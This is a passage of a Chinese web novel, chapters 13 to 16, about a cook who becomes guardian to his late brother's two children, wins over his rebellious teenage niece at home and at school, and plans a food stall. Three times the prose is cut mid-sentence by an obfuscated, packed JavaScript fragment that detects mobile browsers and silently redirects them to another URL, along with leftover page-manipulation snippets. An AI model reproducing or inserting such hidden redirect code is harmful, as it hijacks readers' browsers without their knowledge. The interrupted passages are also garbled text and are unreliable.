戴青手快，伸手拿了包子，被烫得手忙脚乱，但也不愿松开手中的包子，嘟着嘴吹气，小小的包子在两只小手之间跳来跳去。 戴千恩还没来得及提醒里面也烫，戴青就火急火燎地咬了一口。 鲜嫩的肉馅儿冒出滚烫的汁水，烫得戴青斯哈着气。 戴橙一脸嫌弃地递过纸：“你慢点吃！烫就先吐出来！” 戴青在嘴里咕噜两遍，没舍得吐出来，凉了之后嚼吧嚼吧吞了下去，接而用力朝包子吹了两口气，又咬了一大口，把腮帮子塞得鼓鼓囊囊，手立刻又拿一个。 戴橙也咬了一口小包子，包子皮很蓬松柔软，一口就咬到了馅儿，馅料流出的肉汁儿，顿时满嘴都是咸鲜的肉香味。 包子虽小但很饱满，皮虽薄但有韧性，馅儿虽大但软而不柴，滑而不腻，口感厚实。 戴橙没吃过这么好吃的小笼包，爸爸妈妈还在世的时候曾带着他们很豪华的餐厅吃过这种发面小包子，都没这个好吃。 一口包子一口南瓜粥，还有牛奶和鸡蛋，碳水和高蛋白带来的安逸很抚慰心灵。 认认真真吃了两个月的饭，黑瘦的戴青变白了，脸上也有了肉，胳膊也粗了不少，终于不再像个闹饥荒的难民。 戴橙没怎么长肉，但脸色好看了很多，本来五官就精致，皮肤白皙，忽略那头拉低颜值的爆炸发型，就是个亭亭玉立的少女。 怪不得会早恋，估计有不少情窦初开的小混蛋盯着。 补充了淡水和蛋白质，当然还要来个维生素。 戴千恩起身回厨房，半晌后端出一盘圣女果放在他们面前。 戴橙看到西红柿类就想到男朋友送的西红柿，心情顿时不好了，一口没吃。 戴青吃饱喝足，看戴橙还穿着睡衣问：“姐姐你不换衣服吗？” 戴橙：“姐姐今天不去学校，你吃饱了上学去。” 戴青：“我也不想去，我还想睡觉。” 戴橙只许官家放火不许百姓点灯：“不行，你要去学校。” 戴青反抗无果，问戴千恩：“你今天也请假不去店里吗？” 戴千恩：“没有请假，这件事一会儿我还要和戴橙商量。” 戴青：“为什么不跟我商量。” 戴千恩：“你是小孩，戴橙已经是大人了。” 戴青很不爽，被当成大人的戴橙心里稍稍得到了一点慰藉。 送戴青去学校回来，小大人戴橙坐在沙发上，餐桌上的西红柿一动不动。 戴千恩拿着西红柿走到沙发上，放在茶几上，坐在戴橙对面。 这两个月过来，戴千恩发生了翻天覆地的变化，像是要踏踏实实生活的样子，但这两年过来戴千恩实在是太混账了，打消不了她的怀疑。 戴橙：“你有什么事跟我商量？” 戴千恩把西红柿往她那边推了推：“挺甜的，你不吃吗？” 戴橙眉头一皱，没什么耐心，要起身回房间。 戴千恩：“我不在云禾饭馆做了。” 戴橙不意外，嗤了声，再翻个白眼。 本性难移，戴千恩怎么可能踏实过日子。 戴千恩：“我想自己开个店。” 戴橙还挺意外的。 戴千恩拿出了一本存折说：“现在你爸妈的钱还有100万，都在这张存折里，还有16万外债，是当时乡下的堂嫂说是当时养了你们一年的抚养费。” 戴橙忍不住抱怨：“什么抚养费，住她家一年，我爸妈每个月都给她钱，过年还包了大红包，我们在乡下的房子也是他们占着，怎么好意思要这么多钱。” 戴千恩：“我知道，钱和房子改天我想办法要回来。” 戴橙再一次感到意外。 戴千恩：“这些钱都是你和戴青的，但你们未成年，等你们长大了，我都还给你们。” 戴橙将信将疑：“真的？” 戴千恩又拿出一张公证书，上面写着现在的房子和存款都属于戴青和戴橙，有公章，还有戴千恩的手印和签名。 戴橙难以置信，没想到戴千恩居然去做公证了。 戴橙：“你……你为什么要这么做？” 戴千恩：“你也算是这个家里的大人了，有些事必须让你知道，我也希望你能信任我。” 戴橙百感交集，又有点生气：“你都给我们了，你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760658|190136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝西北风吗？” 戴千恩把东西收起来，轻松一笑：“所以我得开个店养活我自己啊。” 戴橙觉得想做梦一样，戴千恩的改变太让她措手不及了。 戴千恩：“我会做好监护人该做的事，你和戴青也要做好被监护人该做的事。” 戴橙：“我们该做什么？” 戴千恩：“好好吃饭，好好睡觉，好好学习，剩下的事情都交给我。” 戴千恩知道，戴橙被他说服了，他明白，仅凭一张嘴就让戴橙相信他是不可能的，现在有了公证书，多少有点说服力。 戴青一身反骨，但听戴橙的话，如果戴橙愿意配合他，那他将会少很多烦恼，自然有更多的精力投入到开店上去。 戴千恩把圣女果盘子往戴橙那边推了推：“吃一个吧，真的挺甜的，不能因噎废食啊。” 戴橙翻白眼：“谁因噎废食，他也配。” 戴橙拿起一个放嘴里，圣女果甘甜爽口，纯甜无酸，确实好吃。 戴千恩：“比上次放在冰箱里被我拿来炒菜的那个好吃吧，也比那个贵。” 想到那个西红柿，戴橙的心情又不好了，脸色肉眼可见地黑下来。 戴橙：“那个是我朋友自己种的，结了果送给我的，你懂什么。” 戴千恩：“自己种的？吹牛，不可能。” 戴橙几度欲言又止，憋了半天才说出一句：“你怎么知道不是？你有什么证据吗？” 戴千恩不知道从哪里摸出来一个西红柿，只有三岁小孩子拳头那么大，颜色也丑丑的，皮看起来很粗糙，屁股的地方还有点青，尾部还有点开裂。 戴橙：“这是什么？” 戴千恩：“一楼有人在院子里中西红柿，我摘的。” 戴橙：“……” 戴千恩：“盆栽种的西红柿长这样，个子小，颜色不均匀，熟了会开裂，你那个又大又红，表皮光滑，一看就是打了膨大剂的，在菜场是最便宜的那种，两块五一斤。” 戴橙：“……” 戴千恩：“晚市还打折，那几个西红柿他如果是晚上送给你的，估计一斤都不要两块五。” 戴橙：“……” 戴千恩觉得自己拿捏住了敏感的少女心思，于是决定乘胜追击。 他指着那盘圣女果：“这种圣女果甜吧？菜场也有，也才十块钱一斤，他都不给你买，给你买最便宜的，还骗你是自己种的，这……” 戴千恩战术性停顿，暗中观察她的脸色。 戴橙盯着戴千恩手里的那颗西红柿，脸色越来越愤恨。 戴大厨向来熟练掌握火候，见火候差不多了，他要收汁了：“所以，你那个男朋友，分了就分了，不可惜。” 当然，一道菜要成功，最后还要加点调味料。 戴千恩又从袋子里摸出一个礼物盒子递给戴橙：“给你。” 盒子很精致，粉粉的，上面还别了朵大拉花。 戴橙再拽也只是个小姑娘，看到礼物盒子一脸欣喜：“这是什么？” 戴千恩：“拆了不就知道了。” 戴橙那点愁容抛到九霄云外，连忙打开盒子。 是个粉紫色的拍立得！还是她心念已久的牌子！还是顶配版本的，连相纸都有不少，够她拍很多照片了。 颜色很清新，还配了一条好看的珠链。 戴橙掩饰不住内心的喜悦，笑问：“上次你不是说浪费钱不给我买吗？” 戴千恩：“我用我的工资买的，不浪费。” 戴橙爱不释手，两眼放光，失恋的阴霾一扫而空，抱着相机在原地直跺脚：“好漂亮啊，谢谢。” 别扭的武火少女终于露出了属于她这个年纪的该有的稚气和浪漫。 14.第 14 章 本来打算在家舔失恋伤口的少女换上校服背书包上学去了。 带上了粉紫色的拍立得。 戴千恩：“你现在去肯定迟到了，要不要我给你们老师打个电话说明一下情况？” 戴橙：“不用，我自有办法。走了。” 戴千恩暂时搞定了武火少女，不由得松了口气，心想什么时候能说服戴橙把这个爆炸头给拉直了就好了，每次她出门他总觉得她的头发会勾到门锁。 而且是真的丑。 可在自尊心有两吨重的少女面前，是万万不能直接说丑的。 戴千恩不用去云禾小饭馆上班，终于有时间做自己的事情。 他拿出早就买好的边江市地图，研究边江市的街道。 他现在手里就只有四万块钱，开店是开不起的，可能先要去摆摊一段时间。 摆摊是最快熟悉街道和客流的方法，卖什么也要根据实际情况定夺。 在此之前，先要搞定的是今天的午饭和戴青和戴橙今天的晚饭，当地的农贸市场他还没去过，正好可以去了解一下行情。 戴千恩从小就和瓜果蔬菜打交道，加上多年浸泡在后厨，他练就了一身挑好肉选好菜的本领。 城西的农贸市场是边江市农副产品集散地，有批发区和零售区，也有些散户挑着担子过来卖菜。 摊位上摆着千篇一律的大棚菜，用药水洗得干干净净，看着死气沉沉的，没有菜的灵性，戴千恩逛了一圈，没有找到满意的食材。 之前他曾受邀给一个亿万富豪上门做生日宴。 富豪的别墅在郊外，有自己的庄园和农场，农场养着鸡鸭鱼鹅，种着瓜果蔬菜，鸡鸭粪当蔬菜的肥料，蔬菜的老枝老叶当鸡鸭的食物，动植物相辅相成，都茁壮成长，形成了个小小的生态圈。 戴千恩情不自禁感慨，现在只有富豪才能过上他小时候的日子，只是他和奶奶住的房子没那么豪华没那么大而已。 差点空手而归时，戴千恩才反应过来，他现在已经不是什么世界名厨了，不是要准备什么豪门家宴或者迎宾国宴，而是小老百姓过日子。 戴千恩买了一条鲫鱼、蔬菜和豆腐，又去买了点猪五花，准备做个小炒肉，足够自己今天的午饭和三人的晚饭。 小炒肉还是选黑猪肉的五花肉好，黑猪养育的时间长，膘肥肉厚，肉质紧实，切薄片滑锅时会微微卷起，晶莹剔透的，口感甘甜，比白猪肉好吃。 猪肉摊老板看到又来了个看起来就不怎么会过日子的小年轻，准备给他切白猪肉。 戴千恩提醒他，指着另外一块肉说：“老板，我要的是黑猪肉。” 老板还翻了个面给他看皮：“小伙子，这也是黑猪肉，这块是比较瘦的地方，那块太肥了，你看，这还有几根黑毛，纯正黑猪肉，放心。” 老板说完，又立刻切肉。 戴千恩皱着眉摇了摇头制止他：“你别切了，我不要，你这显然是白猪，脂肪层薄软没弹性，瘦肉色淡发白，你这猪最多四个月就出栏。” 老板手一顿，小年轻现在谁做饭，来一个宰一个，说什么信什么，没想到来了个懂行的。 围观的几个大妈嘀嘀咕咕走了，刚买肉的小年轻才晓得自己被老板忽悠，吵着要换回黑猪肉。 老板黑着脸给几个年轻人换了肉，再报复性地给戴千恩切了块肥的。 戴千恩也不在意，他逛了整个市场，就这摊的黑猪肉品相最好，至少是十二月出栏的黑猪，也难怪老板摆出来当招牌，抠抠搜搜想卖又舍不得卖，遇到不懂行的干脆卖假肉。 难得遇到这么好的食材，戴千恩称了五斤，还笑着对老板说：“逛了一圈就你家最好，以后我都来跟你买。” 伸手不打笑脸人，做生意的当然深谙此道，加上碰上个识货的，算是半个同行，老板心里不爽，但也笑着回应，多个朋友总比多个敌人好。 老板问：“别人一看肥的都不要，小伙子识货啊，一下子买这么多，是个厨子？” 戴千恩愣了下，爽快承认：“是啊，是个厨子。” 做生意的人八面玲珑，抓住每一次能够做生意的机会：“以后饭店采购食材找我啊，我这边有很多好的。” 戴千恩：“那一定，祝您生意兴隆。” 本来是不愉快的小插曲，戴千恩三言两语巧妙化解了。 戴千恩心情不错，去买了个黑陶砂锅，买了个铁锅，还买了一整套刀具，把厨房缺的工具补齐，准备回去，想了下又返回买了个保温便当盒。 粉紫色的，和拍立得的颜色一样。 戴千恩回到家，用了一整个上午的时间把厨房布置成自己喜欢的样子，再摆上用惯了的锅碗瓢盆，终于对这里产生了一些归属感。 他收拾客厅时，在电视柜的抽屉里发现了很多相片，都是一家四口笑意盈盈的合照，还有原主哥嫂的结婚照。 男人和女人都有点微胖，很面善，穿着大红色的传统婚服，一看就是善良老实的好人。 他们去世那年已经打算辞工回家自己开小饭店，陪孩子长大，可却遭到了不测，留下两个年幼的孩子和不靠谱的原主。 他们跟他和奶奶一样，也是两个努力生活的人呢，姐弟俩现在这个样子，他们在那边一定很不放心吧。 戴千恩擦了擦相片上的灰尘：“初次见面，请多关照。” 相片里面的男人和女人笑得温和朴实。 戴千恩：“我会好好照顾戴橙和戴青，请你们放心。” 戴千恩沉默了下又说：“我本来该去那边照顾我奶奶的，但却来了这里，所以也请你们在那边帮我照顾我奶奶，拜托了。” 当然没人回应他。 戴千恩把所有的相片都擦了一遍，回头看了眼沙发背后那面墙满满的相框孔，默了默，把照片全收好放回去。 总会有一天，这些照片会重新挂回去的。 戴千恩走进厨房，当他系上围裙的那一刻，心里的满足感油然而生。 无论何时何地，他都很迷恋这人间烟火，热腾腾的灶台总能让他想起儿时和奶奶相依为命的时光。 在他的记忆中，最温暖的地方有两处，一处是熊熊燃烧的灶火，另一处就是奶奶的怀抱，奶奶很硬朗，很严厉，说话也很大声，对别人来说是个很凶的老太太，但对他很温柔恨耐心，怀里像炉子一样温暖。 戴千恩点燃灶台，蓝色火苗往外窜，他情不自禁地勾了勾唇。 穿越过来之后在苏云禾的饭馆忙活，吃饭都很将就，今天他要好好满足一下自己。 过日子嘛，就是要张弛有度。 戴千恩喜欢川菜，尤其喜欢吃蒜泥白肉，这是奶奶小时候常做给他吃的菜，他也凭着这道菜在厨艺争霸赛上获得冠军。 蒜泥白肉并不难做，但食材要好，料汁更要调得爽口，火候当然也很重要，肉要煮得适宜，不能太嫩，也不能太老。 戴千恩把买来的黑猪五花肉切了块肥肉均匀的部位，焯水去腥后开始放入花椒和葱姜炖煮，放一点盐调味，再另起一个锅开始熬酱汁。 浓郁的酱香充满整个厨房时，熬得稍稍稠了的酱汁就好了，等到戴千恩切好黄瓜丝剁好蒜蓉、再把爽口的黄瓜丝铺在碗底，拌匀酱汁后，大锅里蹲的二刀肉也好了。 戴千恩关了火，捞出晾凉片刻后用刀片成薄薄一片。 戴千恩片好第一片，筷子起来对着窗户欣赏自己的刀工，厚度均匀，薄可透光，轻轻一转，轻盈的肉片缠住了筷子，看着十分可人。 他片好剩下的肉片，再将肉片倒回原汤锅中烫十秒后捞出均匀摆盘，再捞出一勺煮肉汤汁加入熬好的料，拌匀后的料汁倒入片好的白肉中，酱色汁水顺着码垛好的肉片往下淌，蒜香、椒香、麻香扑面而来。 戴千恩满意地看着自己的作品，吞了吞口水。 戴千恩再做个上汤娃娃菜，简单但不将就的午餐就做好了。 他在休整得浑圆的米饭上撒上几粒黑芝麻，白米饭看起来更香了。 他还泡了一杯解腻的柠檬水，加了掉蜂蜜，开始享用午餐。 蒜泥白肉肉皮Q弹，肉质肥美，配上香辣酱汁，口感十分丰富，一口一片，开胃爽口，十分舒适。 戴千恩吃完饭，抱着那杯还没喝完的柠檬水，躺在太妃椅上放空自己，享受午后宁静。 昏昏欲睡时电话响了，是戴橙的班主任打过来的，说戴橙中午违反学校校规，翻墙出去被校长给逮到了，请家长马上来学校一趟。 翻墙…… 原来戴橙早上说的她自有办法原来是这个办法。 戴千恩不敢耽搁，连忙赶到戴橙的学校。 戴橙住的小区是边江市最好的小区，学区边江一中也是最好的学校，但每个好学校都有放牛班，戴橙就在放牛班里和一些父母花了大价钱塞进来的大聪明们呆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763117|190136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着。 戴千恩到了学校，班主任早早就在校门口等着，脸色比锅底还黑，戴千恩一路搜刮原主记忆，都想不起这位老师叫什么名字。 戴橙的班主任是个矮矮胖胖的中年男人，戴着副细框眼镜，戴千恩刚想笑着打招呼，老师不耐烦朝他招手：“快点快点，校长时间宝贵，没时间等你好久。” 虽然对方是老师，可态度让戴千恩感到有点微妙的不舒服，但他还是道歉了：“不好意思，久等了。” 一路上戴千恩都没说话，老师一路埋怨戴橙：“戴橙表现真的和这所有着百年历史的学校格格不入，多次提醒不听不改，要是我或者是别的老师抓到了，那还好说，这次还被校长抓到了，连累了我和全班同学。” 戴千恩越听越不对劲，他怎么觉得这个老师说话有点难听呢。 同样是放牛班的班主任，戴青的班主任虽然冷冰冰的吧，但看起来比这个人正规多了。 戴千恩本想反驳，但还是想着先去了解怎么回事再说。 校长办公室里有两个学生，一个是戴橙，还有一个男生。 戴千恩看过去，很难第一眼就看到校长，因为这个男生的发型奇葩程度不亚于戴橙，如果戴橙的发型是朵蘑菇，那这个男生的发型就像条扫帚，两人的发型和发量，显得已经半秃的校长有点可怜。 戴千恩主动说话：“校长您好。” 校长很客气，笑了下说：“你是哪位学生的家长？” 班主任连忙站出来毕恭毕敬道：“校长，他是戴橙的家长。” 校长：“曾老师，那你们去吧。” 班主任：“好的好的。” 果然职位越高越和蔼，下属越战战兢兢。 曾老师回过头看向戴橙和戴千恩，笑盈盈的脸变成了冷冰冰，比川剧变脸还精彩：“走，去我办公室。” 戴千恩和戴橙跟着曾老师到了他的办公室。 还没等戴千恩说话，曾老师手指哒哒哒地戳着桌面，开始输出：“戴橙我有没有跟你说过，别的老师发现不要紧，我都打过招呼了，随便你怎么搞，他们对你睁一只眼闭一只眼，但你不要被校领导抓到，你要怎么样无所谓，你不要连累班级啊，班级不是你一个人的对不对？” 戴橙一脸不屑的表情，甚至还翻了个白眼。 戴千恩忍住不快，尽量态度友好：“老师，咱们要不要也让孩子说一说。” 曾老师：“无论什么原因，翻墙外出就是不对。” 戴橙也不怵他：“我跟你请假中午要出校，你不批，你说怎么办？” 戴千恩：“……”现在的孩子都这么刚的吗。 戴橙一顶嘴，曾老师的脸迅速红温，疾言厉色道：“你成绩一塌糊涂，如果再不学好，学校会考虑让你退学，只能说明你不适合呆在这里，”曾老师转过头看向戴千恩，“家长其实可以考虑帮她转学，让她到她该去的地方去。” 戴千恩终于觉得这个老师哪里奇怪了，他对戴橙已经不想负老师应该负的责任，只要戴橙不连累到他就好，现在更是毫不掩饰想解决掉戴橙这个麻烦。 所以不问事情原由，直接下定论。 戴千恩也没了跟他周旋的耐心：“我们家房子的学区就是这个学校，这就是戴橙该来的地方。” 戴千恩话音一落，曾老师和戴橙同时看向他。 戴橙觉得有点诧异，戴千恩居然替他说话？有点爽怎么回事。 而曾老师有点难堪。 安静片刻后，戴千恩也明白了，戴橙翻墙违反学校纪律有错在先，而让自尊心两吨重的叛逆少女当场认错不可能，但这件事得有个处理结果吧，总不能让学校真的处分戴橙。 而曾老师目前只是需要一个能向校长交代的结果。 戴千恩眉头一皱，手捂住头说：“曾老师，其实事情是这样的，是我有点不舒服，让戴橙中午回来一趟给我买点药，孩子着急了才翻了墙。” 两人又不约而同看向戴千恩，曾老师一副没眼看的表情。 戴千恩捂住额头挡住眼睛，疯狂给戴橙使眼色。 希望这个外表甜美但脾气又臭又硬的叛逆少女有点眼力见。 戴橙觉得戴千恩的演技假得好笑，但他和她站在同一阵营的感觉又有点暖，让她能生出一丝莫名其妙的歉意来，下意识觉得自己翻墙出校确实是不对的。 戴橙配合他点头：“对。” 15.第 15 章 曾银第一次被人这么明目张胆当猴耍，还是家长和学生里应外合一起来耍。 他面色红润伶牙俐齿，脑子能想出这么个包庇戴橙的馊主意，哪里像生病了的样子。 曾银气不打一处来，忍住怒火说：“家长最好不要包庇孩子，以免孩子犯更大的错。” 戴千恩面不改色道：“没有包庇，我是真的不舒服。” 既然家长把黑的都说成了白的，想钻特事特办的空子，曾银也没办法，但他也不想就这么放过戴橙。 他说：“无论什么原因，但戴橙翻墙违反学校纪律是事实，按照学校规定……“ 戴千恩打断他：“事出有因，特事特办嘛，如果您不好向校长交代，那我领着孩子亲自去跟校长解释清楚，我想校长是可以理解的。” 曾银可不敢让这两个牛鬼蛇神出现在校长面前，省得给他捅更大的篓子。 曾银：“戴橙回头写个检讨，家长签过字后交上来，你们可以回家了。” 戴橙没有被处分，戴千恩悄咪咪松了口气。 戴千恩问：“戴橙下午不上课吗？” 曾银其实心里想的是眼不见心不烦，阴阳怪气：“你身体不舒服，让她回家照顾你，我批假了。” 这话正中戴橙下怀，她正想开溜呢。 但被戴千恩先猜透了她的心思：“我其实好多了，让戴橙回去上课吧。” 戴橙恨不得瞪戴千恩一眼。 毕竟是未成年人，心思浅显，戴橙那点不满宣泄而出：“我还没吃饭呢。” 戴千恩看了眼戴橙，眼珠子一转又说：“那好吧，让戴橙回去陪我去医院吧，麻烦曾老师，谢谢曾老师理解。” 曾银：“……” 拽炸天的少女忍不住勾起嘴角，又很快拉平。 曾银很无语，有这种大人，这学生也就这样吧，长大了能有什么出息，不去坐牢就是对社会有贡献了。 看着两人的背影，曾银狠狠地翻了个白眼。 若不是戴橙被处分会影响他今年的职称评定，他才懒得管戴橙死活，明年职称评下来了，这个放牛班爱谁谁吧，全开除了最好。 但他也没工夫多骂人，连忙跑到校长办公室赔笑脸：“校长，这学生家长不舒服，就给她打电话让她回去买点药，学生着急，就翻墙了。” 校长点了点头，沉默半晌后问：“家长给她打电话？” 曾银：“是，是。” 校长脸色一冷：“曾老师，你们班用手机的问题也该严查了，你不能摆烂，你摆烂了学生也摆烂！” 曾银：“……”还是自己说话不够严谨啊，一句话除了重点之外全是漏洞。 曾银一肚子气回到办公室，戴橙已经跟着戴千恩走出校门口。 戴橙立刻朝着和戴千恩反方向走，不料戴千恩呵斥一声：“回来！” 戴橙转身，正想顶嘴，低头看了眼手里拿的是戴千恩给买的拍立得，气焰就下去了一半。 戴橙：“我要去拍照，你自己回去。” 戴千恩骑上电动车，压着怒火拍了拍后座：“先回家吃饭吧，我回去给你做，上来吧。” 戴橙处在叛逆期，不愿意这么听话，但想到是戴千恩做饭，戴橙毫不犹豫坐上了电动车。 戴千恩递给她一个头盔，戴橙拒绝了：“会把头发压扁了。” 戴千恩撩起眼皮看了眼她的头发：“你这个头发压不扁。” 戴橙嗤了声，看在饭的份上，勉为其难带上吧。 戴橙一路上都在玩拍立得，回到家把自己扔到了沙发上，专心捣鼓她的拍立得，戴千恩喊了她几遍她都没听见。 戴千恩发现，戴橙有很强的专注力，如果用在学习上，学习不会差。 但现在跟一个看起来一毕业就坐牢的人谈好好学习，简直是天方夜谭。 戴橙下午还要回去上课，戴千恩简单做了回锅肉，再打了个丝瓜鸡蛋汤，还洗了点葡萄，沉浸在拍立得相机中的戴橙才被香味吸引得回过了神。 戴千恩坐在餐桌前，戴橙放下拍立得去打饭，顺便也给戴千恩打了一碗，别别扭扭地放到他的面前。 戴千恩：“我吃过了。” 戴橙：“你吃的什么？蒜泥大虾？家里一股蒜味儿。” 戴千恩：“蒜泥白肉，还剩一点，你吃不吃？” 戴橙：“吃，别浪费了。” 这段时间接触下来，戴千恩觉得戴橙本性并不坏，只是性格叛逆期失去双亲，没有得到正确引导，才会养成别扭的性格，一开始她总是恶语相向，从不会好好沟通，虽然现在说话也臭着个脸，但好歹会沟通了。 戴千恩把剩下的蒜泥白肉端了出来。 戴千恩用餐习惯很好，吃哪边就动哪边，蒜泥白肉的肉片他沿着盘里铺好的黄瓜丝围成了一圈，没吃到的小半圈还齐整整地摆在盘中，没有残羹冷炙的卖相，还能看得出最初的精致摆盘。 戴橙：“你还摆起盘来了。” 戴千恩：“快吃吧。” 戴橙先吃了回锅肉，肉片很薄，两边向中间蜷曲，形成了灯盏碗，稍稍咀嚼，肉香和酱香充满口腔，相辅相成，蒜苗也很嫩，舌尖迎来了顶级的味觉享受，戴橙下意识点了点头。 重味道的肉片加上清新的丝瓜汤，荤素搭配得当，戴橙不知不觉吃掉了两碗饭。 太好吃了。 饥饿的胃得到了安抚，戴橙整个人都柔软了下来。 她伸懒腰打饱嗝，戴千恩在她对面坐了下来。 戴千恩问：“你翻墙出去做什么？” 吃人家的嘴软，戴橙老实回答：“中午学校的饭实在是太难吃了，我要出去吃个饭。” 戴千恩：“……” 戴橙看着他一脸无语的样子，指着桌上的菜忍不住自证：“真的，你不知道我们食堂有多难吃，都是预制菜，跟这些没法比。” 她说完话才意识到自己当面夸了人，有点尴尬地冷着脸。 但她不得不承认，这段时间她的胃口确实被戴千恩给养刁了。 戴橙：“爱信不信，不信拉倒。” 戴千恩轻笑了声：“我没不信，我在想那么高的围墙，你下次还是不要跳了，摔伤了不好。” 戴橙没料到戴千恩的关注点在这里，愣在原地不知道怎么回话。 戴千恩继续说：“如果下次想出校门，就跟老师说我生病了你要回去帮我买药，假条我给你签字。” 戴橙嘴巴微张，有点接不住戴千恩这套组合拳。 这不是学校里盛传的神仙家长吗。 戴橙本想脱口而出“真的吗”，但转念一想又觉得不妥：“不用。” 这些年过来对她冷嘲热讽、另眼相待的人很多，久而久之，她已经练就了“看不惯我的人那么多，你算老几”的心态。 突然有人对她好，倒是让她觉得有点不知所措。 戴千恩：“有件事我要跟你商量一下，我打算去城北摆个摊卖炒饭，攒点钱再自己开个店。” 城北是新区，鸟不拉屎的地方新建了一所大学，商业几乎没有，外卖更少得可怜，但摆摊却卷得要命，硬是把一块破烂地摆成了夜市，光卖炒饭就两个摊，臭豆腐四个摊。 戴橙：“那里那么卷，你有什么优势？” 戴千恩笑了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16768420|190136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说：“我帅。” 戴橙本来想做呕吐的表情，但做不出来，因为戴千恩说的是实话。 他们戴家家运有点背，但颜值都高，可一个个又奇葩另类，掩盖了颜值。 之前她不少同学都说戴千恩帅，戴橙还不觉得，仔细看看，戴千恩高鼻梁双眼皮皮肤白皙下颚线都很清晰，连眉形都很好看，发际线还有个美人尖，再收拾一下确实帅，吊打他们学校的校草。 戴橙想着想着差点憋不住笑，惊讶自己什么时候不知不觉就认同了戴千恩。 戴橙：“你去卖饭还是卖颜值啊。” 戴千恩：“你觉得摆摊卖饭行？” 戴橙点了下头：“嗯，行。” 戴千恩：“如果以后我出摊了，会比较忙，需要你配合一下。” 戴橙问：“好，配合什么？” 戴千恩想了想说：“不要这么频繁地被请家长，因为我有可能第一时间赶不过去。” 戴橙缓缓点了下头。 戴千恩：“当然，如果你不舒服了，或者确实有很紧急的事，我会放下手中的事过去，你尽量不要翻墙跑出来，围墙挺高的，崴脚真的很疼。” 戴橙心里没来由一酸，崴脚真的很疼，爸妈去世那天她就是翻墙崴到脚了，失去双亲的痛和崴脚的痛深深刻入了她的记忆里，忘都忘不了。 真诚是必杀技，戴橙别别扭扭点头：“我知道了。” 给足了叛逆少女面子，叛逆少女也承诺吃完饭就回学校上课。 戴千恩一旦有了想法，就会付出行动，他小时候跟奶奶摆摊卖过盒饭，算是有点经验，踩好了点后，上二手平台淘餐车，下了单就安心等发货了。 傍晚，戴橙还给了他一个大惊喜。 戴橙回到自己的房间捣鼓一阵后，拿出一沓钱递给戴千恩，目测有三万块钱。 戴千恩有点震惊：“你哪来那么多钱！” 戴橙很拽：“给你摆摊创业的。” 戴千恩很错愕，同时也很感动，但比起感动，更加迫切的问题是弄清楚这一笔钱的来源。 戴千恩：“你哪来那么多钱？你该不会是背着我去打工吧？那不行。” 戴橙：“当然不是！” 戴千恩：“那是你男朋友给的？你现在年纪还小，不能拿男朋友的钱。” 戴橙真的服了：“现在的男孩子抠抠索索，谁会给我这么多钱啊。” 戴千恩犹豫了一阵：“总归不是奖学金吧。” 戴橙也急了：“问那么多，爱要不要。” 戴千恩更急：“你该不会卖肾了吧？” 戴橙都无语了，气极反笑，忍无可忍发脾气：“什么乱七八糟的，我把之前买的那些手机、卡套、笔记本、玩偶还有明星周边，青青的六个不用了的电话手表，这些东西卖给二手了！你都能把你的游戏装备卖了，我为什么不能？” 这倒是让戴千恩懵了好久，戴橙说的那些东西，听起来感觉都老宝贝了。 戴橙也懵了，一时口快说了一大堆什么玩意。 人一旦陷入自证，真的会变成智障。 戴千恩：”那我给你买的拍立得，没卖吧？” 那还是什么联名款，他等商家补货等好久呢。 戴橙没有回答他，瞪他：“这钱你爱要不要，不要烧了。” 戴橙把钱扔在餐桌上，气哄哄地回到了房间。 戴千恩连忙道：“要要要，谢谢谢谢。” 为了支持他摆摊，别扭少女连明星周边都卖了，要是他拒绝，她估计三个月都不搭理他。 别扭少女回房，人有多尴尬，摔门就有多大声。 16.第 16 章 最近戴橙好像迷恋一种甜点，叫巧克力脆皮开心果大福。 她连续两天回得晚，就是排队买这东西，买回来了不舍得吃，哐哐一顿拍照后才吃。 戴千恩也吃过一个，口味很一般，但最近网上好像突然火了起来，估计大家钟爱它的颜值和那糯叽叽的口感。 为了让戴橙早点回家，正好摆摊用的东西还没全部到货，还有时间，戴千恩就在家折腾看看。 他去买了巧克力、奶油、开心果酱、水磨糯米粉等原料，还买了模具，一头扎进厨房，打算给戴橙一个惊喜。 虽然他不太懂甜食，还好大福的制作过程除了糯叽叽的麻糍需要点技术之外，打发奶油和融化巧克力都是不需要用脑子的体力活。 麻糍制作正好和揉驴打滚工序一致，只要揉到位了，自然就软糯Q弹不粘牙。 从散装的原料到一颗圆润饱满的大福出炉，戴千恩没遇到什么困难，再淋上已经调好的巧克力酱，一颗颗圆溜溜的大福就做好了。 